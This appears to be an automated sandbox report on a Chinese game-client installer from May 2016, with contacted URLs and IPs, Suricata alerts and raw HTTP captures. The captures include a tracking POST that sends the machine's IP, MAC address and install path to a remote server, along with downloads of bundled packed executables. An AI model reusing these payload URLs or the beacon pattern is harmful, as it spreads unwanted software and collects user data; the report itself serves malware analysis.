hxxp://dl.p2sp.n.shifen.com/BaiduPlayerContent/BaiduPlayerNetSetup_481.exe
hxxp://08913.xdwscache.ourwebpic.com/js/fast_register.js?20160509101453
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/quick_register.jpg
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/wczc_btn.jpg
hxxp://08913.xdwscache.ourwebpic.com/images/my/pc/input_bg.jpg
hxxp://g.quwen320.com/d/ins1256858.exe	219.238.237.210
hxxp://cdnsource.9377.com/images/my/pc/quick_register.jpg	87.245.198.83
hxxp://cdnsource.9377.com/js/ajax.js?20160509101453	87.245.198.83
hxxp://cdnsource.9377.com/images/my/pc/wczc_btn.jpg	87.245.198.83
hxxp://w.x.baidu.com/go/full/2/.exe	123.125.65.175
hxxp://w.x.baidu.com/go/full/1/70988	123.125.65.175
hxxp://cdnsource.9377.com/js/fast_register.js?20160509101453	87.245.198.83
hxxp://cdnsource.9377.com/js/jquery.Slideshow.js?20160509101453	87.245.198.83
hxxp://dl.p2sp.baidu.com/BaiduPlayerContent/BaiduPlayerNetSetup_481.exe	61.135.185.123
hxxp://cdnsource.9377.com/images/my/pc/input_bg.jpg	87.245.198.83
hxxp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01	103.243.93.22
hxxp://cdnsource.9377.com/style/my/pc_new.css?20160509101453	87.245.198.83
hxxp://down.qunasou.com/dudu/netbian_a_41763.exe	119.84.119.100
hxxp://xiazai.9377.com/20140928/9377mycs_Y_mgaz2_01.exe	87.245.198.83
hxxp://shadu.baidu.com/index/fulldownload/30911	111.206.37.179
hxxp://w.x.baidu.com/go/full/2/30911	123.125.65.175
hxxp://dldir1.qq.com/invc/tt/QQBrowser_Setup_Hk_78653.exe	37.29.0.60
hxxp://w.x.baidu.com/go/full/1/.exe	123.125.65.175

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /invc/tt/QQBrowser_Setup_Hk_78653.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dldir1.qq.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Date: Mon, 09 May 2016 04:52:18 GMT

Server: PWS/8.1.36

X-Px: ms h0-s1144.v0-mow ( h0-s1057.v0-mow), ms h0-s1057.v0-mow ( h0-s1.p6-hkg), ms h0-s1.p6-hkg ( origin)

Cache-Control: max-age=30

Expires: Mon, 09 May 2016 04:52:48 GMT

Age: 0

Content-Length: 88

Content-Type: text/html

Last-Modified: Mon, 09 May 2016 04:50:00 GMT

Connection: keep-alive
The requested URL '/invc/tt/QQBrowser_Setup_Hk_78653.exe' was not foun
d on this server..HTTP/1.1 404 Not Found..Date: Mon, 09 May 2016 04:52
:18 GMT..Server: PWS/8.1.36..X-Px: ms h0-s1144.v0-mow ( h0-s1057.v0-mo
w), ms h0-s1057.v0-mow ( h0-s1.p6-hkg), ms h0-s1.p6-hkg ( origin)..Cac
he-Control: max-age=30..Expires: Mon, 09 May 2016 04:52:48 GMT..Age: 0
..Content-Length: 88..Content-Type: text/html..Last-Modified: Mon, 09 
May 2016 04:50:00 GMT..Connection: keep-alive..The requested URL '/inv
c/tt/QQBrowser_Setup_Hk_78653.exe' was not found on this server....

GET /style/my/pc_new.css?20160509101453 HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Date: Mon, 09 May 2016 04:52:19 GMT

Expires: Wed, 08 Jun 2016 03:14:08 GMT

Server: nginx/1.4.7

Content-Type: text/css

Last-Modified: Thu, 14 May 2015 03:37:28 GMT

Transfer-Encoding: chunked

Cache-Control: max-age=2592000

Content-Encoding: gzip

X-Via: 1.1 jfzh181:80 (Cdn Cache Server V2.0), 1.1 db77:1 (Cdn Cache Server V2.0)

Connection: keep-alive
655.............X.n.6.}_`.............o....(..ZR):.c..;.^$J.7[.([email protected]
.9s.../.*w........,y.....~...|..ZE..`Y..5.\..........?.xc..tF:ZwQ.$...
...>kg....Y..z......w`T.....eY......,[email protected].*..vKsT
...<.C.}...d58aR.|!.-s..K..Ff..b.O5/.........9dq.2....{.w{.-l.0..P.
......)^_.Z..F..3DV..=...d..y......._..|[email protected]...
...>.G)~{...c.......C#....wR7.d-......zT..:?P^......:K..y...m...T..
e.LN...*..R...b-$.tp.8...&.D.5Y..]....=!j.......!.M...M.yc..A}..3....K
....*^^... .C..."...,.$..{.....xeQ.7..I..|...mc8*Y. .....8..d....aHXo.
VS>..j....t....>........ij..x....6.l.o...p..&..Q.wuv.....>..X
..A.1pt%y.I..B..".]..|..L..,"V....,.ay..]..e...6..Q.......j$...W..#&&y
...?1..*|./..p~.w.0..As&.#.......G..|7.z]../..4.",.Rd.o.#....;z`.NQ.,P
...g".....K.f.]_.d.z...&.7.w..8pBTc.........G.C......].h...wX..._.J.i.
....Qo.I.-.l...3.E...i.e......c.4gu......9Fv.&*t <'.i.K.\cq.3.;..$O
...|..... . .Q.0..YI..I.-<..#.v$l<...L........8~..5.........l ..
.g..0..|.6T.jS..O...w`.q..y..ndc.....il..<..#f..I../wB......u......
[.:.DR@.@s.^..O.(.jD...?<[email protected]}.s.tu..............l.8..S.
Lt .@5.*O~.D..|[email protected]....._Q. T6..'Y1.&n.....
o..hIb|[email protected] 1}...P.q.*..4y.d7..'...W&.Q..8B<..._M...F.....Q.!...
......n..R...............%o0L/.t.C....W..g..*....Ra.'_.;.:..N..._.3...
....9....y.l.iN...?W.`.k..E.sj.9....%........<Y&0......:...{.r`F..Q
..&'E.......>....f..|...M....l..PY..3,^G....H=.P....:...\G0dK;...f.
...>G.0Y.u...V..........QDlW..g.{.....9[.....V.G.<.%umi.....
<<< skipped >>>

GET /js/jquery.Slideshow.js?20160509101453 HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Date: Mon, 09 May 2016 04:52:19 GMT

Expires: Wed, 08 Jun 2016 02:16:17 GMT

Server: nginx/1.4.7

Content-Type: application/x-javascript

Last-Modified: Fri, 08 Jun 2012 03:41:55 GMT

Transfer-Encoding: chunked

Cache-Control: max-age=2592000

Content-Encoding: gzip

X-Via: 1.1 jfzh181:88 (Cdn Cache Server V2.0), 1.1 db78:5 (Cdn Cache Server V2.0)

Connection: keep-alive
e11.............Zms........;&. ,...6....LhH:.i...0ki%..... ....c<iI
.Nc....!..bc..B..M..I.I3....I...wW.eC..f...y..{....9g.]y..M.?.6.....Z8
y}...V...N...O].01v....;K.c3G..~O.\~........v%o..X.c..}.85......_#.d..
.,....vr.........wn.^.f...W.5!#.wb.~q......K....c..]..t..5..r...p|g.u.
f.Ge.5...b.f.....?=yg....So.O,}|...|.p....7n..>.|7>....D.....GN-
}......,>8ze..._..2. k.. .ED..#...q.*.'?.......1..4{ab..././.Z:...%
.|....'..9...w..a?..~.......$..{.Sg..;|.#n......L.z.........[....)'K.&
..\.l....i\*......V@ '.F.!...3......FQ.....7.x,........Y.....'!.k.<
.....4............?>:s...... ..?..X>:..pq....O-~...g/..?r...Sw?.
~e|..7.O....m..9>w...f..)..9)............w.....?>Aw.Gg.<{..5.
...T.A.Sb.H.T2.&....J4.....h.t=.)1$#!..Q....^s...U.R..M...=.r...e...K@
5.&2N.F....../.....s....k.=.....#'.....'.~q....Wu.}66.V]........?.>
.0I..`..w.-N_.uxai.8..i....U...\.....d..c...W..3..Y...)mI......!.y.Q..
../..g.).......;.....#.II....M./$...,).1.. .....`)..O.].n..H....m.2...
2S9...F.) >...A..T1.y..%>..F....K...}..\....m$8...........eN*D..
....E..P...G.ht '.".Sr&.ga.l.J...j.;..9&...z.....>.^!g..S3W.`..:.d.
.Sj...&.....xx0....1 C#..|......|.u~.`r......z....dk.|.. Br9...n^.d'..
.........e..N1.......M.u.j.#...W%.n..e..%E..z........e. 4....).k....Q.
.{A....p..)..7....$S:[email protected]{..).SP:......|T.r..._.....A.L
.X...r.j.%/.U[.b<.......y.... _..5...-.."[email protected]
.m...Z.B..6`.&xR.....v.. ...P.".5q...... A.P/.....6...C..p.)...\._<
.W,"....JM...W.P...(hV..-U.[jG.[..Q.O.(..[...5..E.........!.c-..."
<<< skipped >>>

GET /images/my/pc/quick_register.jpg HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Expires: Wed, 08 Jun 2016 00:42:25 GMT

Date: Mon, 09 May 2016 00:42:25 GMT

Server: nginx/1.4.7

Content-Type: image/jpeg

Content-Length: 8822

Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT

ETag: "53aa7d24-2276"

Cache-Control: max-age=2592000

Accept-Ranges: bytes

Age: 1

X-Via: 1.1 db77:3 (Cdn Cache Server V2.0)

Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-
c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="ht
tp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.
0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" 
xmpMM:InstanceID="xmp.iid:75A9C2DFFC3411E3B461F5D43F45A904" xmpMM:Docu
mentID="xmp.did:75A9C2E0FC3411E3B461F5D43F45A904"> <xmpMM:Derive
dFrom stRef:instanceID="xmp.iid:75A9C2DDFC3411E3B461F5D43F45A904" stRe
f:documentID="xmp.did:75A9C2DEFC3411E3B461F5D43F45A904"/> </rdf:
Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="
r"?>....Adobe.d....................................................
......................................................................
[email protected]............................................
...........................................Q...R.s..T!1.3.A"q.2..ar.b.
....B#........................Q.1A.!2a......R."............?..jw.faL..
w.S.s...._.g.|.u....i.......i..~^...l.......ZB[c2......Am.......)..3 .
../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2......Am.....
..)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.|.".[c2.....
.Am.......)..3 .../H.....j.|.".[c2......Am.......)..3 .../H.....j.
<<< skipped >>>

GET /images/my/pc/input_bg.jpg HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Expires: Wed, 08 Jun 2016 00:42:26 GMT

Date: Mon, 09 May 2016 00:42:26 GMT

Server: nginx/1.4.7

Content-Type: image/jpeg

Content-Length: 6720

Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT

ETag: "53aa7d24-1a40"

Cache-Control: max-age=2592000

Accept-Ranges: bytes

Age: 1

X-Via: 1.1 fuzhou185:8106 (Cdn Cache Server V2.0), 1.1 db78:6 (Cdn Cache Server V2.0)

Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-
c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="ht
tp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.
0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" 
xmpMM:InstanceID="xmp.iid:1B768923FC3411E3A5FA883712ECB69B" xmpMM:Docu
mentID="xmp.did:1B768924FC3411E3A5FA883712ECB69B"> <xmpMM:Derive
dFrom stRef:instanceID="xmp.iid:1B768921FC3411E3A5FA883712ECB69B" stRe
f:documentID="xmp.did:1B768922FC3411E3A5FA883712ECB69B"/> </rdf:
Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="
r"?>....Adobe.d....................................................
......................................................................
.......................c..............................................
..............................................!Q...1b.#Sc...A.".aq.2r4
.BR..T...3.....CD.......................Q..!1...A.."R...q.a..2Br#.....
.......?...#.l.9..dXd&.........*..QS{.....A..-..L....j.] .......e..{.U
..v..X.t.K.....p...N...)w..... ....xr...30....w.............:.......r.
.O..OR...Q.....K....Ugj..w.}.8.|..R..<...l..n.........w.O.q..Vv...}
=.8.. ....x....s......K....ej.n .}..4..Kg.......M.....#....M......
<<< skipped >>>

GET /js/ajax.js?20160509101453 HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Date: Mon, 09 May 2016 04:52:19 GMT

Expires: Wed, 08 Jun 2016 02:15:55 GMT

Server: nginx/1.4.7

Content-Type: application/x-javascript

Last-Modified: Mon, 21 Sep 2015 02:03:33 GMT

Transfer-Encoding: chunked

Cache-Control: max-age=2592000

Content-Encoding: gzip

X-Via: 1.1 fuzhou184:8105 (Cdn Cache Server V2.0), 1.1 db78:9 (Cdn Cache Server V2.0)

Connection: keep-alive
400a..............iw......k.?P8n.0!Jrr..!.....xHbg8.RrA..$..8h.....y..
*[email protected]."..k......[..T.W.~Z......e..t6..*o..Y.W......I..b1m...].l.
4....|:..7.a...<....*.g.I..t>.....dT..O..<.V..n:.,.i...O.lVy.
.....l>.&.'......l..5....LNG.n:.|.~.<J.gs..\^...x.....y..e...F.,
0.i..t.&k..*.>>.*.. .~.....\.E..|., .....~e........V.......=...U
{..).........r.T...u..a.......vR.d....4..~x...z?]....ag.H.......N.D...
f.. .s.....v1.A=y..-.......KFs..?.f......ml.......j7lM..<}9......'.
E:...i]>}....5.w...tPM....:.f.t.......,],g.J..M..jxk..H./.I.......b
u.{'uN<N....zz.N.......L...*W6...........Q...A4...,..f.at..O.=.3..D
...<.?nOZ..3.......?......*[email protected].~mU..hx....Rn.[_...._>.VI
....&...%.<[email protected]...:>..A..\.OG.E5..a.,.N...T
[..c.m.a-....Q.).....\..c.U}..X....lV=.......G....4.k..v...>...3...
o}.NG.c..(.BLBg.......:..q.N....%.E....h.{..b..d......lN..EI.t9.a.?..f
[email protected]..&;.nf..,..3.........`......[.......[tl.(..1.q3.yr....tf.m0....
.Mg.jE.(....LqT....h.s..#.....[.o.p...O..t .G....-...Ez.>[email protected].
...]xww./......#..Q..6....v..,M..%.-...2$r......x.^.........rrg..j...y
9.y..v...t.32..8..I_...E6...*v. ..!.j.......f<N.C,..Fd.w.ou.r$.O"7.
....(.>x....NY..^.8...D.........wI.l..R..........0t......Q...;...N.
4..p:.Q...{.6..b......X..Q.Sj.......1....6.......0.....3..G8#..i..5...
..}h..K.a.&..Yr.e..O.=.E.o.YgE.] [email protected]..=. Z.&.......t...fg.....
.N..(K......R.r.....A..M..EZ....(.j.....b...pRIC.8....$.$..ve..o.o.N._
..O..`...;.....;9K......!o.d~39m...X......7....V}.u....d.pZ....J..
<<< skipped >>>

GET /js/fast_register.js?20160509101453 HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Date: Mon, 09 May 2016 04:52:20 GMT

Expires: Wed, 08 Jun 2016 02:19:32 GMT

Server: nginx/1.4.7

Content-Type: application/x-javascript

Last-Modified: Thu, 20 Aug 2015 06:52:46 GMT

Transfer-Encoding: chunked

Cache-Control: max-age=2592000

Content-Encoding: gzip

X-Via: 1.1 fuzhou191:8080 (Cdn Cache Server V2.0), 1.1 db78:4 (Cdn Cache Server V2.0)

Connection: keep-alive
95e.............Yms....,f.....V.. ;@&...L[u....| T......v7.b.!.$.....M
R`(}...2u.L.. ..aW.S.B....j.b.&4.-..=..s.......K..."v.W......R....#...
...!e..Z.../7.....xx..KY=Y.-..Kb-..'ew...Ee.:s....s......R".5.A.w.....
./.Mj5.&9H....&...dr.72.....z..X...&..Y......./.........ML..~u7\......
.><t./u......U...."u...Y..7.G....9)..}g....m...^~Y....5.......sH
...<...`.Xl}9K....cv..g[.j.5U[,...I].C.U_.'.X...R/0}R..I13..."?.s.&
gt;....9B......fX.........p.r...p.Zx.3a.."...|[email protected]}[.D..1
=...e....lD......'..1U.J.Q.E...8{.@....?...../aPLo.Th..~0&.n[&...f,.I.
~B.2b..$.2bm......if..b\...p ....On'q%....I..3'O.6.b...U.q.R..$o...I..
>...{x1..../.....lj.f.[[email protected].,.|?H.V....G9h?>. ..P-
...).%.q.....H..0.....S.....=GK....W~>...xN..z.H.>.|.....OAnC.j.
.W..U..v...r....V.......z.....}.(.Vy...".S.f...n3T........|Z..R..VA..]
...(.3.T...,$.Me....n....Y.......l_./lEM?cz..'hQ...5U..R.z.E..|.^x.>
;.]...9..8..6&..>....5..`..p........)>6..9.h..A"...a.v. .....@&.
.fz...Q....]YOsm.D...<.,.N..&5.M.I...6S.J..X..;MJ.........vN..v....
gP26F...h......u=....4..?....2.5[_...<O.. X7.64.......Q.N.....DX.[.
7\u9?}P..iX.:.......r..Y.4'..;.*....S...U...J......h.Ylxt..~q..'...:_.
Q...v..a...f.S>c._..P..&..Wp..e...X:}..&K..Fx.,.lU..0"....<6.2..
.....r.8.'iy..X....4.E)[email protected]\.........d]v....d.q...._.[*..V..$..
[email protected]....(J...p....;...p.Z.r%......:.~...X.A.Iy.QP7=.
-pe.6G...,pc...C......]"...R}....dg...GEqa..W..G..\........f..W.`...#.
l.U..~.a..U*p0....'...6<.'..u(k...<s-...dV..z.#.........V.j.
<<< skipped >>>

GET /images/my/pc/wczc_btn.jpg HTTP/1.1

Accept: */*

Referer: hXXp://client.9377.com/pc_game_my_new.php?lm=mgaz2&rnd=23140&referer_param=01

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdnsource.9377.com

Connection: Keep-Alive

Cookie: PHPSESSID=ij54qjr8bghrvm8okdi23c0dk7; lm=mgaz2; referer_param=01

HTTP/1.1 200 OK

Expires: Wed, 08 Jun 2016 00:42:25 GMT

Date: Mon, 09 May 2016 00:42:25 GMT

Server: nginx/1.4.7

Content-Type: image/jpeg

Content-Length: 12474

Last-Modified: Wed, 25 Jun 2014 07:41:24 GMT

ETag: "53aa7d24-30ba"

Cache-Control: max-age=2592000

Accept-Ranges: bytes

Age: 1

X-Via: 1.1 zhdx182:80 (Cdn Cache Server V2.0), 1.1 db78:2 (Cdn Cache Server V2.0)

Connection: keep-alive
......Exif..II*.................Ducky.......<..... hXXp://ns.adobe.
com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&g
t; <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-
c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf
="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description
 rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="ht
tp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.
0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" 
xmpMM:InstanceID="xmp.iid:0D31EEDBFC3611E387349672F438A3D7" xmpMM:Docu
mentID="xmp.did:0D31EEDCFC3611E387349672F438A3D7"> <xmpMM:Derive
dFrom stRef:instanceID="xmp.iid:0D31EED9FC3611E387349672F438A3D7" stRe
f:documentID="xmp.did:0D31EEDAFC3611E387349672F438A3D7"/> </rdf:
Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="
r"?>....Adobe.d....................................................
......................................................................
.......................x..............................................
...............................................!.1A.Qa"..q.2.BRr.#....
b.3.....$.V..C...Scs..4T.U6.'.......................!1.AQ..a..".q..2BR
.S.....C....#.br..$............?..e...=..:.7.E..Oae:K.1 N.=..S,p..S..l
m.I.....S.HU\....MT.Bp.z..1.S.4............?R/.5[...|.....|#...C..(p..
....^....|....N.>...A....8.s......%............Y>(....?........:
..........r.>.n9..d_/K&o|..S.2.r?..d..^-..#....................
<<< skipped >>>

GET /index/fulldownload/30911 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: shadu.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Date: Mon, 09 May 2016 04:52:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: PHPSESSID=v9klu4ged46qkidvfdgqfkjln6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Location: hXXp://w.x.baidu.com/go/full/2/30911

Set-Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1; expires=Tue, 09-May-17 04:52:14 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1

P3P: CP=" OTI DSP COR IVA OUR IND COM "

tracecode: 31341358420599538186050912

Server: Apache
0..HTTP/1.1 302 Moved Temporarily..Date: Mon, 09 May 2016 04:52:14 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..Set-Cookie: PHPSESSID=v9klu4ged46qkidvfdgqfkjl
n6; path=/..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-
store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: n
o-cache..Location: hXXp://w.x.baidu.com/go/full/2/30911..Set-Cookie: B
AIDUID=C54C1B8E382666CB1F650A192890F769:FG=1; expires=Tue, 09-May-17 0
4:52:14 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1..P
3P: CP=" OTI DSP COR IVA OUR IND COM "..tracecode: 3134135842059953818
6050912..Server: Apache..0..

GET /dudu/netbian_a_41763.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: down.qunasou.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 500 Internal Server Error

Server: nginx

Date: Mon, 09 May 2016 04:51:49 GMT

Content-Type: text/html

Content-Length: 186

Connection: close
<html>..<head><title>500 Internal Server Error</t
itle></head>..<body bgcolor="white">..<center><
;h1>500 Internal Server Error</h1></center>..<hr>
<center>nginx</center>..</body>..</html>....

GET /d/ins1256858.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: g.quwen320.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: Rising Cloud Server

Date: Mon, 09 May 2016 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 4561520

Last-Modified: Fri, 07 Aug 2015 07:42:49 GMT

Connection: keep-alive

Expires: Mon, 09 May 2016 05:52:16 GMT

Cache-Control: max-age=3600

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......zf@.>...&
gt;...>.....!.#.....q.?.....s.1...>./.......N.n.....q.......p.?.
....t.?...Rich>...........................PE..L...T..S.............
........0............... [email protected]....
..................................K..p.... ... ...........{E..........
.......................................H..............................
.............UPX0....................................UPX1.............
[email protected]... .......x..............@..........
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................3.07.UPX!......;KV..wR....p....M.&....^;...(.\M.
U..A.K.;Uw$8S..(.O..tDlG(.a.R..-@.`...i...(...`..3.............:...G..
....C.(....w.Q.........[...p.9..k...A.Z..D%.a...i..2A .O`/............
 Mm.r[nO..z..%...oj..HnI....2:iL.S6..Mo..%lG.....s{A.<.3..g..XTy^.n
H........=L.&.5Z$j..M..l.~= .c9p..~..^...z3..,c...u.$.;D...bI\Qh..8`.Z
3..D..I...}..a..;\x...O...........e.t..U..Z.5..PM.C*.c{........F.a;@$q
.j....4...v....W).O<v.......o..e..=Z.?M.....I..3...$ ...&.`f.m...'.
.,..Jj.p#...uQ...Y..1U....]!.[;@.LW...9.y.._...\......]..XF.Uu.m..
<<< skipped >>>

POST /api/client_data_receive.php?Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=C:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.9377.com

Content-Length: 223

Connection: Keep-Alive

Cache-Control: no-cache

Name=9377meiying&Channel=mgaz2&referer_param=01&Version=1.1.0.8&IP=192.168.11.128&MAC=00-0C-29-FD-55-AD&Installtime=2016/5/9/7:52:13&ExeName=%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp\9377mycs_Y_mgaz2_01.exe
HTTP/1.1 200 OK

Server: nginx

Date: Mon, 09 May 2016 04:52:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Via: 9377 g6.wxg.6.s
0..HTTP/1.1 200 OK..Server: nginx..Date: Mon, 09 May 2016 04:52:13 GMT
..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..
Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..
X-Via: 9377 g6.wxg.6.s..0..

GET /iplookup/iplookup.php HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: int.dpool.sina.com.cn

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 09 May 2016 04:51:47 GMT

Content-Type: text/html; charset=gbk

Content-Length: 20

Connection: close

DPOOL_HEADER: tyr105

SINA-LB:aGEuMTE5LmcyLnlmLmxiLnNpbmFub2RlLmNvbQ==

SINA-TS:OThmMjk2Y2UgMCAwIDAgNCAwCg==
1.-1.-1...............

GET /go/full/2/30911 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: w.x.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1

HTTP/1.1 302 Moved Temporarily

Date: Mon, 09 May 2016 04:52:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Location: .exe

tracecode: 31356611610599538186050912

Server: Apache
0......


GET /go/full/2/.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: w.x.baidu.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: BAIDUID=C54C1B8E382666CB1F650A192890F769:FG=1

HTTP/1.1 200 OK

